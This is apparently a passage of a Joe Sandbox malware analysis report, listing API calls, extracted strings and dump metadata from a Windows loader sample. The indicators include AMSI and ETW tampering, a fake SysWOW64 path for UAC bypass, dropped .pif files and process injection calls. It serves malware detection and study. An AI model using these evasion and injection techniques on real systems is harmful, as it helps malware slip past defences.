Part of subcall function 029D87A0: LoadLibraryW.KERNEL32(bcrypt,?,00000860,00000000,02A213A4,029DA3C7,ScanString,02A213A4,029DA77C,ScanBuffer,02A213A4,029DA77C,Initialize,02A213A4,029DA77C,UacScan), ref: 029D87B4
Part of subcall function 029D87A0: GetProcAddress.KERNEL32(00000000,BCryptVerifySignature), ref: 029D87CE
Part of subcall function 029D87A0: FreeLibrary.KERNEL32(00000000,00000000,BCryptVerifySignature,bcrypt,?,00000860,00000000,02A213A4,029DA3C7,ScanString,02A213A4,029DA77C,ScanBuffer,02A213A4,029DA77C,Initialize), ref: 029D880A

Part of subcall function 029D870C: LoadLibraryW.KERNEL32(amsi), ref: 029D8715
Part of subcall function 029D870C: FreeLibrary.KERNEL32(00000000,00000000,?,?,00000006,?,?,000003E7,00000040,?,00000000,DllGetClassObject), ref: 029D8774

Sleep.KERNEL32(00002710,00000000,00000000,ScanBuffer,02A2137C,029EAFD8,OpenSession,02A2137C,029EAFD8,ScanBuffer,02A2137C,029EAFD8,OpenSession,02A2137C,029EAFD8,029EB330), ref: 029E49B7

Part of subcall function 029DDA44: RtlInitUnicodeString.NTDLL(?,?), ref: 029DDA6C
Part of subcall function 029DDA44: RtlDosPa.N(00000000,?,00000000,00000000,00000000,029DDABE), ref: 029DDA82
Part of subcall function 029DDA44: NtDeleteFile.NTDLL(?), ref: 029DDAA1

MoveFileA.KERNEL32(00000000,00000000), ref: 029E4BB7
MoveFileA.KERNEL32(00000000,00000000), ref: 029E4C0D

Strings

ieproxy, xrefs: 029DEFC1, 029DEFE8, 029DF018
bcrypt, xrefs: 029DF36D, 029DF3A0, 029DF3D3, 029E99E8
NtOpenFile, xrefs: 029EA80D
NEO.c, xrefs: 029E4445
NtQuerySecurityObject, xrefs: 029EA70E
WintrustAddActionID, xrefs: 029DF0E3
NtAlertResumeThread, xrefs: 029E9D3C
EtwEventWriteEx, xrefs: 029EA840
C:\\Users\\Public\\Libraries\\, xrefs: 029E4B66, 029E4BBC, 029E58B7
VirtualAllocEx, xrefs: 029EA237
dbgcore, xrefs: 029E89A3, 029E89B7
C:\Users\Public\alpha.pif, xrefs: 029E4B36
NtOpenObjectAuditAlarm, xrefs: 029E8976
RtlCreateQueryDebugBuffer, xrefs: 029E9E08
GetProcessMemoryInfo, xrefs: 029E9873
GetProxyDllInfo, xrefs: 029DEFD7
@echo offset "MJtc=Iet "@%r%e%%c%r%h%%o%, xrefs: 029E484E
ScanBuffer, xrefs: 029DEE73, 029DF1CB, 029DF3F5, 029DF95C, 029DFA69, 029DFB81, 029DFF55, 029E00F3, 029E0299, 029E03B9, 029E054E, 029E0646, 029E08AF, 029E0A55, 029E0BF1, 029E0D07, 029E0D95, 029E10A9, 029E134A, 029E145B, 029E15F8, 029E19A3, 029E1AAF, 029E1CCD, 029E1DEA, 029E2105, 029E21A6, 029E231A, 029E24DA, 029E27FC, 029E2BF3, 029E2E92, 029E2F23, 029E32DD, 029E34BF, 029E3633, 029E37B6, 029E3832, 029E39E9, 029E3BF3, 029E3E51, 029E4083, 029E42C7, 029E450F, 029E47C5, 029E492B, 029E4AC0, 029E4DF8, 029E5132, 029E544B, 029E57CB, 029E5B04, 029E5DB6, 029E5FBB, 029E6121, 029E6295, 029E6311, 029E6EB4, 029E6F45, 029E7375, 029E7508, 029E7664, 029E775C, 029E7C79, 029E7F46, 029E80EC, 029E8279, 029E840D, 029E858C, 029E8803, 029E88FB, 029E8D17, 029E8FF0, 029E9164, 029E939A, 029E942C, 029E9764, 029E9B02, 029EA031, 029EA937
BCryptQueryProviderRegistration, xrefs: 029DF389
sys.thgiseurt, xrefs: 029E3ECC
spp, xrefs: 029E9824, 029E9857, 029EA4F4
psapi, xrefs: 029E988A
RtlQueryProcessDebugInformation, xrefs: 029EA0CE
NtSetSecurityObject, xrefs: 029E89C6
NtWriteVirtualMemory, xrefs: 029EA7DA
BCryptRegisterProvider, xrefs: 029DF3BC
CryptSIPGetInfo, xrefs: 029DF241
FlushInstructionCache, xrefs: 029EA303
endpointdlp, xrefs: 029E9B8F, 029E9BC2, 029E9BF5, 029E9C28
MiniDumpWriteDump, xrefs: 029E899E
SLGatherMigrationBlob, xrefs: 029EA543
C:\Users\Public\, xrefs: 029E3183, 029E54D0, 029E6743
C:\Users\Public\aken.pif, xrefs: 029E4B51
NtQueryVirtualMemory, xrefs: 029EA5DC
NtDeviceIoControlFile, xrefs: 029EA0B0
psapi, xrefs: 029EA11E
VirtualAlloc, xrefs: 029EA204
UacScan, xrefs: 029DED47, 029DF586, 029DF67E, 029DFC4D, 029E0833, 029E0E11, 029E1773, 029E1E86, 029E3097, 029E3261, 029E33C2, 029E353B, 029E36BE, 029E388F, 029E396D, 029E3AFB, 029E4007, 029E43C4, 029E45F9, 029E52D7, 029E5847, 029E5A0C, 029E5D3A, 029E5E47, 029E60A5, 029E619D, 029E6D40, 029E70E2, 029E72F9, 029E748C, 029E76E0, 029E7B6C, 029E7CF5, 029E7E4E, 029E7FF4, 029E8181, 029E8315, 029E8494, 029E870B, 029E8B79, 029E8D93, 029E8F74, 029E90E8, 029E931E, 029EA18E
I_QueryTagInformation, xrefs: 029E898A
SLGetEncryptedPIDEx, xrefs: 029EA576
DllGetClassObject, xrefs: 029DEFB0, 029DF4E7, 029E9840, 029EA510
NtAccessCheck, xrefs: 029EA741
SxTracerGetThreadContextDebug, xrefs: 029E980D, 029EA4DD
NtQueryDirectoryFile, xrefs: 029EA0BF
RetailTracerEnable, xrefs: 029E97DA
NtOpenProcess, xrefs: 029E89DA
SLLoadApplicationPolicies, xrefs: 029E9633
Ntdll, xrefs: 029EA0A6, 029EA0B5, 029EA0C4, 029EA0D3
IconIndex=, xrefs: 029E64FD
DlpNotifyPreDragDrop, xrefs: 029E9B78
LdrGetProcedureAddress, xrefs: 029EA7A7
tquery, xrefs: 029E97F1
EnumServicesStatusA, xrefs: 029EA0DD
DlpGetWebSiteAccess, xrefs: 029E9C11
ScanString, xrefs: 029DEE0F, 029DF03A, 029DF14F, 029DF2E0, 029DF471, 029DF6FA, 029DF83B, 029DFDC1, 029E09D9, 029E0B75, 029E0FB1, 029E11CC, 029E1248, 029E1565, 029E188B, 029E1B54, 029E1F91, 029E23C2, 029E25D2, 029E2688, 029E29B7, 029E2AD9, 029E2D9A, 029E31E5, 029E3CDD, 029E4153, 029E4348, 029E4D00, 029E4E9A, 029E51DF, 029E55A3, 029E5C42, 029E6428, 029E659F, 029E6657, 029E6CC4, 029E715E, 029E75C5, 029E7BE8, 029E868F, 029E8A81, 029E8E6A, 029E9226, 029E9524, 029E98DF, 029E9CC6, 029E9EBD, 029EA467
NtQuerySystemInformation, xrefs: 029EA0A1
NtQueryInformationThread, xrefs: 029EA60F
WriteVirtualMemory, xrefs: 029EA2D0
sppc, xrefs: 029E95B1, 029E95E4, 029E9617, 029E964A, 029EA55A, 029EA58D
TrustOpenStores, xrefs: 029DF0B0
DlpGetArchiveFileTraceInfo, xrefs: 029E9BDE
OpenProcess, xrefs: 029EA29D
Initialize, xrefs: 029DEDAB, 029DFCC9, 029DFE5D, 029DFFFB, 029E01A1, 029E0456, 029E0AF9, 029E0F35, 029E13DF, 029E14E9, 029E1BD0, 029E1F02, 029E2222, 029E2556, 029E2704, 029E2A5D, 029E2E16, 029E4FBE, 029E5353, 029E574F, 029E5914, 029E5B80, 029E5CBE, 029E5EC3, 029E6E38, 029E7AF0, 029E8AFD, 029E96E8, 029E9A86, 029E9FB5, 029EA36F, 029EA8BB
lld.SLITUTEN, xrefs: 029E3AB8
EnumServicesStatusExW, xrefs: 029EA10A
NtMapViewOfSection, xrefs: 029EA6A8
SetUnhandledExceptionFilter, xrefs: 029EA336
CryptSIPGetSignedDataMsg, xrefs: 029DF2A7
MiniDumpReadDumpStream, xrefs: 029E89B2
Advapi, xrefs: 029EA0E2, 029EA0F1, 029EA100, 029EA10F, 029EA14B, 029EA15A, 029EA169
DlpCheckIsCloudSyncApp, xrefs: 029E9BAB
SLIsGenuineLocalEx, xrefs: 029E9600
smartscreenps, xrefs: 029DF4FE, 029DF531, 029DF564
DllGetActivationFactory, xrefs: 029DF51A
.url, xrefs: 029E54DB
UacUninitialize, xrefs: 029E2D1E, 029E301B, 029E3113, 029E38F1, 029E3F8B
ntdll, xrefs: 029E897B, 029E89CB, 029E89DF, 029E9D53, 029E9D86, 029E9DB9, 029E9DEC, 029E9E1F, 029EA5C0, 029EA5F3, 029EA626, 029EA659, 029EA68C, 029EA6BF, 029EA6F2, 029EA725, 029EA758, 029EA78B, 029EA7BE, 029EA7F1, 029EA824, 029EA857, 029EA88A
BCryptVerifySignature, xrefs: 029DF356, 029E99D1
NtWaitForSingleObject, xrefs: 029E9DA2
[InternetShortcut], xrefs: 029E6498
sppwmi, xrefs: 029EA527
EnumProcessModules, xrefs: 029EA119
EnumServicesStatusW, xrefs: 029EA0EC
CreateProcessW, xrefs: 029EA137
HotKey=, xrefs: 029E6631
SLGetSLIDList, xrefs: 029E95CD
GET, xrefs: 029E1902
D2^Tyj}~TVrgoij[Dkcxn}dmu, xrefs: 029DFE37
C:\Windows\System32\, xrefs: 029DF8B7, 029E70BB, 029E7E03
EtwEventWrite, xrefs: 029EA873
http, xrefs: 029E15D5
NtOpenSection, xrefs: 029EA642
URL=file:", xrefs: 029E64A7
NtReadVirtualMemory, xrefs: 029EA6DB
kernel32, xrefs: 029EA21B, 029EA24E, 029EA281, 029EA2B4, 029EA2E7, 029EA31A, 029EA34D
mssip32, xrefs: 029DF258, 029DF28B, 029DF2BE, 029E98BD
LdrLoadDll, xrefs: 029EA774
CreateProcessA, xrefs: 029EA128
CreateProcessWithLogonW, xrefs: 029EA164
CreateProcessAsUserW, xrefs: 029EA155, 029EA173
CreateProcessAsUserA, xrefs: 029EA146
FX.c, xrefs: 029E46FB
C:\\Windows \\SysWOW64\\svchost.exe, xrefs: 029E36A8
CryptSIPVerifyIndirectData, xrefs: 029DF274, 029E98A6
SLGetGenuineInformation, xrefs: 029E959A
NtCreateSection, xrefs: 029EA675
@echo off@% %e%%c%o%h% %o%rrr% %%o%%f% %f%o%s%, xrefs: 029E3361
C:\\Windows \\SysWOW64\\, xrefs: 029E3ACE, 029E3EE2
GZmMS1j, xrefs: 029DECBC
UacInitialize, xrefs: 029DEF3B, 029DF602, 029DFD45, 029E3D59, 029E41CF, 029E49C8, 029E4C84, 029E503A, 029E5527, 029E703D, 029E887F, 029E8C9B
DllRegisterServer, xrefs: 029DF001, 029DF54D
wintrust, xrefs: 029DF0C7, 029DF0FA, 029DF12D
OpenSession, xrefs: 029DECE3, 029DEED7, 029DF7BF, 029DF8E0, 029DF9ED, 029DFB05, 029DFED9, 029E0077, 029E021D, 029E033D, 029E04D2, 029E05CA, 029E07B7, 029E095D, 029E0C8B, 029E0EB9, 029E102D, 029E1150, 029E12CE, 029E1674, 029E16F7, 029E180F, 029E1927, 029E1A33, 029E1C51, 029E1D6E, 029E200D, 029E2089, 029E229E, 029E243E, 029E2780, 029E293B, 029E2B55, 029E2C6F, 029E2F9F, 029E343E, 029E35B7, 029E373A, 029E3B77, 029E3DD5, 029E3F0F, 029E424B, 029E4493, 029E4675, 029E4749, 029E48AF, 029E4A44, 029E4D7C, 029E4F16, 029E50B6, 029E525B, 029E53CF, 029E561F, 029E56D3, 029E5990, 029E5A88, 029E5F3F, 029E6219, 029E638D, 029E6523, 029E66D3, 029E6DBC, 029E6FC1, 029E71DA, 029E727D, 029E7410, 029E77D8, 029E7A74, 029E7D71, 029E7ECA, 029E8070, 029E81FD, 029E8391, 029E8510, 029E8613, 029E8787, 029E8A05, 029E8BF5, 029E8EE6, 029E906C, 029E92A2, 029E94A8, 029E966C, 029E995B, 029E9A0A, 029E9C4A, 029E9E41, 029E9F39, 029EA3EB, 029EA9B3
Kernel32, xrefs: 029EA12D, 029EA13C, 029EA178
@echo offset "EPD=sPDet "@% or%e%.%c%%h%.o%o%or, xrefs: 029E4598
WinHttp.WinHttpRequest.5.1, xrefs: 029E17E9
FindCertsByIssuer, xrefs: 029DF116
RtlAllocateHeap, xrefs: 029E9D6F, 029E9DD5
NtGetWriteWatch, xrefs: 029EA5A9
EnumServicesStatusExA, xrefs: 029EA0FB
VirtualProtect, xrefs: 029EA26A
advapi32, xrefs: 029E898F

Memory Dump Source

Source File: 00000000.00000002.2246694967.00000000029C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 029C0000, based on PE: true

Associated: 00000000.00000002.2246632859.00000000029C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.00000000029ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.0000000002A1E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002A21000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B15000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B18000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_29c0000_D.jbxd

Similarity

API ID: File$Library$AddressFreeLoadModuleProc$AttributesCloseCreateHandleMove$CheckDebuggerDeleteDirectoryInetInformationInitNameOfflineOpenPresentQueryReadRemoteSleepStringUnicodeWrite
String ID: .url$@echo offset "EPD=sPDet "@% or%e%.%c%%h%.o%o%or$@echo offset "MJtc=Iet "@%r%e%%c%r%h%%o%$Advapi$BCryptQueryProviderRegistration$BCryptRegisterProvider$BCryptVerifySignature$C:\Users\Public\$C:\Users\Public\aken.pif$C:\Users\Public\alpha.pif$C:\Windows\System32\$C:\\Users\\Public\\Libraries\\$C:\\Windows \\SysWOW64\\$C:\\Windows \\SysWOW64\\svchost.exe$CreateProcessA$CreateProcessAsUserA$CreateProcessAsUserW$CreateProcessW$CreateProcessWithLogonW$CryptSIPGetInfo$CryptSIPGetSignedDataMsg$CryptSIPVerifyIndirectData$D2^Tyj}~TVrgoij[Dkcxn}dmu$DllGetActivationFactory$DllGetClassObject$DllRegisterServer$DlpCheckIsCloudSyncApp$DlpGetArchiveFileTraceInfo$DlpGetWebSiteAccess$DlpNotifyPreDragDrop$EnumProcessModules$EnumServicesStatusA$EnumServicesStatusExA$EnumServicesStatusExW$EnumServicesStatusW$EtwEventWrite$EtwEventWriteEx$FX.c$FindCertsByIssuer$FlushInstructionCache$GET$GZmMS1j$GetProcessMemoryInfo$GetProxyDllInfo$HotKey=$I_QueryTagInformation$IconIndex=$Initialize$Kernel32$LdrGetProcedureAddress$LdrLoadDll$MiniDumpReadDumpStream$MiniDumpWriteDump$NEO.c$NtAccessCheck$NtAlertResumeThread$NtCreateSection$NtDeviceIoControlFile$NtGetWriteWatch$NtMapViewOfSection$NtOpenFile$NtOpenObjectAuditAlarm$NtOpenProcess$NtOpenSection$NtQueryDirectoryFile$NtQueryInformationThread$NtQuerySecurityObject$NtQuerySystemInformation$NtQueryVirtualMemory$NtReadVirtualMemory$NtSetSecurityObject$NtWaitForSingleObject$NtWriteVirtualMemory$Ntdll$OpenProcess$OpenSession$RetailTracerEnable$RtlAllocateHeap$RtlCreateQueryDebugBuffer$RtlQueryProcessDebugInformation$SLGatherMigrationBlob$SLGetEncryptedPIDEx$SLGetGenuineInformation$SLGetSLIDList$SLIsGenuineLocalEx$SLLoadApplicationPolicies$ScanBuffer$ScanString$SetUnhandledExceptionFilter$SxTracerGetThreadContextDebug$TrustOpenStores$URL=file:"$UacInitialize$UacScan$UacUninitialize$VirtualAlloc$VirtualAllocEx$VirtualProtect$WinHttp.WinHttpRequest.5.1$WintrustAddActionID$WriteVirtualMemory$[InternetShortcut]$advapi32$bcrypt$dbgcore$endpointdlp$http$ieproxy$kernel32$lld.SLITUTEN$mssip32$ntdll$psapi$psapi$smartscreenps$spp$sppc$sppwmi$sys.thgiseurt$tquery$wintrust$@echo off@% %e%%c%o%h% %o%rrr% %%o%%f% %f%o%s%
API String ID: 3130226682-181751239
Opcode ID: 49e12002b40ca4a8ebb653961ecdfdd1a47d6deb696294147715558f6b1d4028
Instruction ID: bc84136ce5bb2b9aa3d6b67c942e6e2dc5d649c4ce5d776b8e49dcb0430619d7
Opcode Fuzzy Hash: 49e12002b40ca4a8ebb653961ecdfdd1a47d6deb696294147715558f6b1d4028
Instruction Fuzzy Hash: 4F24F675B501688BDF11EB64CDA0ADD73B6BFC9310F6054EAE009A7254DA30EF868F52

Function 029E7878 Relevance: 160.3, APIs: 5, Strings: 85, Instructions: 2771
processthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 029D8824: LoadLibraryA.KERNEL32(00000000,00000000,029D890B), ref: 029D8858
Part of subcall function 029D8824: FreeLibrary.KERNEL32(74B10000,00000000,02A21388,Function_000065D8,00000004,02A21398,02A21388,05F5E0FF,00000040,02A2139C,74B10000,00000000,00000000,00000000,00000000,029D890B), ref: 029D88EB

CreateProcessAsUserW.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000000,00000004,00000000,00000000,02B157DC,02B15820,OpenSession,02A2137C,029EAFD8,UacScan,02A2137C), ref: 029E7E39
ResumeThread.KERNEL32(00000000,ScanBuffer,02A2137C,029EAFD8,OpenSession,02A2137C,029EAFD8,UacScan,02A2137C,029EAFD8,ScanBuffer,02A2137C,029EAFD8,OpenSession,02A2137C,029EAFD8), ref: 029E8483
CloseHandle.KERNEL32(00000000,ScanBuffer,02A2137C,029EAFD8,OpenSession,02A2137C,029EAFD8,UacScan,02A2137C,029EAFD8,00000000,ScanBuffer,02A2137C,029EAFD8,OpenSession,02A2137C), ref: 029E8602

Part of subcall function 029D87A0: LoadLibraryW.KERNEL32(bcrypt,?,00000860,00000000,02A213A4,029DA3C7,ScanString,02A213A4,029DA77C,ScanBuffer,02A213A4,029DA77C,Initialize,02A213A4,029DA77C,UacScan), ref: 029D87B4
Part of subcall function 029D87A0: GetProcAddress.KERNEL32(00000000,BCryptVerifySignature), ref: 029D87CE
Part of subcall function 029D87A0: FreeLibrary.KERNEL32(00000000,00000000,BCryptVerifySignature,bcrypt,?,00000860,00000000,02A213A4,029DA3C7,ScanString,02A213A4,029DA77C,ScanBuffer,02A213A4,029DA77C,Initialize), ref: 029D880A

CloseHandle.KERNEL32(00000000,00000000,ScanBuffer,02A2137C,029EAFD8,UacInitialize,02A2137C,029EAFD8,ScanBuffer,02A2137C,029EAFD8,OpenSession,02A2137C,029EAFD8,UacScan,02A2137C), ref: 029E89F4

Part of subcall function 029C7E18: GetFileAttributesA.KERNEL32(00000000,?,029DF8CC,ScanString,02A2137C,029EAFD8,OpenSession,02A2137C,029EAFD8,ScanString,02A2137C,029EAFD8,UacScan,02A2137C,029EAFD8,UacInitialize), ref: 029C7E23

Part of subcall function 029DDACC: RtlDosPa.N(00000000,?,00000000,00000000,00000000,029DDB9E), ref: 029DDB0B
Part of subcall function 029DDACC: NtCreateFile.N(?,00100002,?,?,00000000,00000000,00000001,00000002,00000020,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 029DDB45
Part of subcall function 029DDACC: NtWriteFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000,00000001), ref: 029DDB72
Part of subcall function 029DDACC: NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000), ref: 029DDB7B

Part of subcall function 029D818C: FlushInstructionCache.KERNEL32(?,?,?,00000000,Kernel32,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,029D8216), ref: 029D81F8

ExitProcess.KERNEL32(00000000,OpenSession,02A2137C,029EAFD8,ScanBuffer,02A2137C,029EAFD8,Initialize,02A2137C,029EAFD8,00000000,00000000,00000000,ScanString,02A2137C,029EAFD8), ref: 029EAA25

Strings

Ntdll, xrefs: 029EA0A6, 029EA0B5, 029EA0C4, 029EA0D3
bcrypt, xrefs: 029E99E8
NtOpenFile, xrefs: 029EA80D
DlpNotifyPreDragDrop, xrefs: 029E9B78
NtQuerySecurityObject, xrefs: 029EA70E
LdrGetProcedureAddress, xrefs: 029EA7A7
tquery, xrefs: 029E97F1
NtAlertResumeThread, xrefs: 029E9D3C
EtwEventWriteEx, xrefs: 029EA840
EnumServicesStatusA, xrefs: 029EA0DD
DlpGetWebSiteAccess, xrefs: 029E9C11
ScanString, xrefs: 029E797C, 029E7BE8, 029E868F, 029E8A81, 029E8E6A, 029E9226, 029E9524, 029E98DF, 029E9CC6, 029E9EBD, 029EA467
VirtualAllocEx, xrefs: 029EA237
NtQuerySystemInformation, xrefs: 029EA0A1
dbgcore, xrefs: 029E89A3, 029E89B7
NtQueryInformationThread, xrefs: 029EA60F
WriteVirtualMemory, xrefs: 029EA2D0
sppc, xrefs: 029E95B1, 029E95E4, 029E9617, 029E964A, 029EA55A, 029EA58D
DlpGetArchiveFileTraceInfo, xrefs: 029E9BDE
NtOpenObjectAuditAlarm, xrefs: 029E8976
RtlCreateQueryDebugBuffer, xrefs: 029E9E08
OpenProcess, xrefs: 029EA29D
GetProcessMemoryInfo, xrefs: 029E9873
Initialize, xrefs: 029E7900, 029E7AF0, 029E8AFD, 029E96E8, 029E9A86, 029E9FB5, 029EA36F, 029EA8BB
EnumServicesStatusExW, xrefs: 029EA10A
NtMapViewOfSection, xrefs: 029EA6A8
SetUnhandledExceptionFilter, xrefs: 029EA336
MiniDumpReadDumpStream, xrefs: 029E89B2
Advapi, xrefs: 029EA0E2, 029EA0F1, 029EA100, 029EA10F, 029EA14B, 029EA15A, 029EA169
ScanBuffer, xrefs: 029E7C79, 029E7F46, 029E80EC, 029E8279, 029E840D, 029E858C, 029E8803, 029E88FB, 029E8D17, 029E8FF0, 029E9164, 029E939A, 029E942C, 029E9764, 029E9B02, 029EA031, 029EA937
DlpCheckIsCloudSyncApp, xrefs: 029E9BAB
SLIsGenuineLocalEx, xrefs: 029E9600
spp, xrefs: 029E9824, 029E9857, 029EA4F4
psapi, xrefs: 029E988A
ntdll, xrefs: 029E897B, 029E89CB, 029E89DF, 029E9D53, 029E9D86, 029E9DB9, 029E9DEC, 029E9E1F, 029EA5C0, 029EA5F3, 029EA626, 029EA659, 029EA68C, 029EA6BF, 029EA6F2, 029EA725, 029EA758, 029EA78B, 029EA7BE, 029EA7F1, 029EA824, 029EA857, 029EA88A
BCryptVerifySignature, xrefs: 029E99D1
RtlQueryProcessDebugInformation, xrefs: 029EA0CE
NtSetSecurityObject, xrefs: 029E89C6
NtWriteVirtualMemory, xrefs: 029EA7DA
NtWaitForSingleObject, xrefs: 029E9DA2
sppwmi, xrefs: 029EA527
EnumProcessModules, xrefs: 029EA119
EnumServicesStatusW, xrefs: 029EA0EC
CreateProcessW, xrefs: 029EA137
SLGetSLIDList, xrefs: 029E95CD
FlushInstructionCache, xrefs: 029EA303
EtwEventWrite, xrefs: 029EA873
C:\Windows\System32\, xrefs: 029E7E03
endpointdlp, xrefs: 029E9B8F, 029E9BC2, 029E9BF5, 029E9C28
MiniDumpWriteDump, xrefs: 029E899E
NtOpenSection, xrefs: 029EA642
SLGatherMigrationBlob, xrefs: 029EA543
NtReadVirtualMemory, xrefs: 029EA6DB
NtQueryVirtualMemory, xrefs: 029EA5DC
kernel32, xrefs: 029EA21B, 029EA24E, 029EA281, 029EA2B4, 029EA2E7, 029EA31A, 029EA34D
mssip32, xrefs: 029E98BD
LdrLoadDll, xrefs: 029EA774
CreateProcessA, xrefs: 029EA128
CreateProcessWithLogonW, xrefs: 029EA164
NtDeviceIoControlFile, xrefs: 029EA0B0
psapi, xrefs: 029EA11E
CreateProcessAsUserW, xrefs: 029EA155, 029EA173
VirtualAlloc, xrefs: 029EA204
CreateProcessAsUserA, xrefs: 029EA146
UacScan, xrefs: 029E7B6C, 029E7CF5, 029E7E4E, 029E7FF4, 029E8181, 029E8315, 029E8494, 029E870B, 029E8B79, 029E8D93, 029E8F74, 029E90E8, 029E931E, 029EA18E
CryptSIPVerifyIndirectData, xrefs: 029E98A6
SLGetGenuineInformation, xrefs: 029E959A
NtCreateSection, xrefs: 029EA675
I_QueryTagInformation, xrefs: 029E898A
SLGetEncryptedPIDEx, xrefs: 029EA576
DllGetClassObject, xrefs: 029E9840, 029EA510
UacInitialize, xrefs: 029E887F, 029E8C9B
NtAccessCheck, xrefs: 029EA741
SxTracerGetThreadContextDebug, xrefs: 029E980D, 029EA4DD
NtQueryDirectoryFile, xrefs: 029EA0BF
OpenSession, xrefs: 029E7884, 029E79F8, 029E7A74, 029E7D71, 029E7ECA, 029E8070, 029E81FD, 029E8391, 029E8510, 029E8613, 029E8787, 029E8A05, 029E8BF5, 029E8EE6, 029E906C, 029E92A2, 029E94A8, 029E966C, 029E995B, 029E9A0A, 029E9C4A, 029E9E41, 029E9F39, 029EA3EB, 029EA9B3
Kernel32, xrefs: 029EA12D, 029EA13C, 029EA178
RetailTracerEnable, xrefs: 029E97DA
NtGetWriteWatch, xrefs: 029EA5A9
RtlAllocateHeap, xrefs: 029E9D6F, 029E9DD5
NtOpenProcess, xrefs: 029E89DA
EnumServicesStatusExA, xrefs: 029EA0FB
VirtualProtect, xrefs: 029EA26A
advapi32, xrefs: 029E898F
SLLoadApplicationPolicies, xrefs: 029E9633

Memory Dump Source

Source File: 00000000.00000002.2246694967.00000000029C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 029C0000, based on PE: true

Associated: 00000000.00000002.2246632859.00000000029C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.00000000029ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.0000000002A1E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002A21000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B15000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B18000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_29c0000_D.jbxd

Similarity

API ID: Library$CloseFile$CreateFreeHandleLoadProcess$AddressAttributesCacheExitFlushInstructionProcResumeThreadUserWrite
String ID: Advapi$BCryptVerifySignature$C:\Windows\System32\$CreateProcessA$CreateProcessAsUserA$CreateProcessAsUserW$CreateProcessW$CreateProcessWithLogonW$CryptSIPVerifyIndirectData$DllGetClassObject$DlpCheckIsCloudSyncApp$DlpGetArchiveFileTraceInfo$DlpGetWebSiteAccess$DlpNotifyPreDragDrop$EnumProcessModules$EnumServicesStatusA$EnumServicesStatusExA$EnumServicesStatusExW$EnumServicesStatusW$EtwEventWrite$EtwEventWriteEx$FlushInstructionCache$GetProcessMemoryInfo$I_QueryTagInformation$Initialize$Kernel32$LdrGetProcedureAddress$LdrLoadDll$MiniDumpReadDumpStream$MiniDumpWriteDump$NtAccessCheck$NtAlertResumeThread$NtCreateSection$NtDeviceIoControlFile$NtGetWriteWatch$NtMapViewOfSection$NtOpenFile$NtOpenObjectAuditAlarm$NtOpenProcess$NtOpenSection$NtQueryDirectoryFile$NtQueryInformationThread$NtQuerySecurityObject$NtQuerySystemInformation$NtQueryVirtualMemory$NtReadVirtualMemory$NtSetSecurityObject$NtWaitForSingleObject$NtWriteVirtualMemory$Ntdll$OpenProcess$OpenSession$RetailTracerEnable$RtlAllocateHeap$RtlCreateQueryDebugBuffer$RtlQueryProcessDebugInformation$SLGatherMigrationBlob$SLGetEncryptedPIDEx$SLGetGenuineInformation$SLGetSLIDList$SLIsGenuineLocalEx$SLLoadApplicationPolicies$ScanBuffer$ScanString$SetUnhandledExceptionFilter$SxTracerGetThreadContextDebug$UacInitialize$UacScan$VirtualAlloc$VirtualAllocEx$VirtualProtect$WriteVirtualMemory$advapi32$bcrypt$dbgcore$endpointdlp$kernel32$mssip32$ntdll$psapi$psapi$spp$sppc$sppwmi$tquery
API String ID: 1548959583-1225450241
Opcode ID: e9c6147bac92d140013558c532a39611a58c111fd8e81af0f56170f411755c4b
Instruction ID: 4d0f91a7d84dc5b89e5bb28dbed960a1c5ea0470ce0854552994bdbaf3912576
Opcode Fuzzy Hash: e9c6147bac92d140013558c532a39611a58c111fd8e81af0f56170f411755c4b
Instruction Fuzzy Hash: D143C775B501288BDF15EB64CD90ADE73B6BFC9310F6054E9E00AA7254DA30EF868F52

Function 029C1724 Relevance: 9.0, APIs: 7, Instructions: 289
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000000,?,029C2000), ref: 029C17D0
Sleep.KERNEL32(0000000A,00000000,?,029C2000), ref: 029C17E6

Memory Dump Source

Source File: 00000000.00000002.2246694967.00000000029C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 029C0000, based on PE: true

Associated: 00000000.00000002.2246632859.00000000029C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.00000000029ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.0000000002A1E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002A21000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B15000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B18000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_29c0000_D.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 74d6fb5c4ff575110aed137e9056688380cff6e557952c8febb5bf92250b4d06
